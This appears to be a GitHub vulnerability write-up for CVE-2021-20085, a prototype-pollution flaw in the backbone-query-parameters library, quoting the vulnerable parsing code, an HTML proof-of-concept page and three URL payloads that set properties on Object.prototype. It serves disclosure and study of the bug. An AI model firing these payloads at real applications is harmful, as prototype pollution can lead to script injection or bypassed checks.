Skip to content
Permalink
master
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time

backbone-query-parameters

URL: https://github.com/jhudson8/backbone-query-parameters

CVE

CVE-2021-20085

Vulnerable code fragment

https://github.com/jhudson8/backbone-query-parameters/blob/d6fb511bddc1b213a3b766bd10dfaf5d3b5d5aab/backbone.queryparams.js

  _extractParameters: function(route, fragment) {
    ...
      if (queryString) {
        var self = this;
        iterateQueryString(queryString, function(name, value) {
          self._setParamValue(name, value, data);

  ...

  _setParamValue: function(key, value, data) {
    // use '.' to define hash separators
    key = key.replace('[]', '');
    key = key.replace('%5B%5D', '');
    var parts = key.split('.');
    var _data = data;
    for (var i=0; i<parts.length; i++) {
      var part = decodeURIComponent(parts[i]);
      if (i === parts.length-1) {
        // set the value
        _data[part] = this._decodeParamValue(value, _data[part]);
      } else {
        _data = _data[part] = _data[part] || {};
      }
    }
  },

PoC

<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/underscore.js/1.11.0/underscore-min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/backbone.js/1.4.0/backbone-min.js"></script>
<script src="https://raw.githack.com/jhudson8/backbone-query-parameters/d6fb511bddc1b213a3b766bd10dfaf5d3b5d5aab/backbone.queryparams.js"></script>
<script>
  var AppRouter = Backbone.Router.extend({
   routes: {
       "*vars":                "test"
   },
   test: function(vars) {
   }
});
var appRouter = new AppRouter();
Backbone.history.start();
</script>
?__proto__.test=test
?constructor.prototype.test=test
?__proto__.array=1|2|3